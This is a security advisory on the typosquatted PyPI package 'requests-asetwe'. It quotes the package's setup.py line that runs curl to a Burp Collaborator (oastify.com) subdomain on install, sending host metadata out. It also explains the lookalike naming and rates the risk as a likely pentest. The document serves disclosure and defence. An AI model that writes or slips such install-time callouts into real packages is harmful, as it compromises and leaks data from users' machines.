Summary
Malicious code in requests-asetwe (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5)

setup.py of requests-asetwe unconditionally executes os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com') during pip install. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used requests package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

  • The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

  • The package overrides the install command in setup.py to execute malicious code during installation.
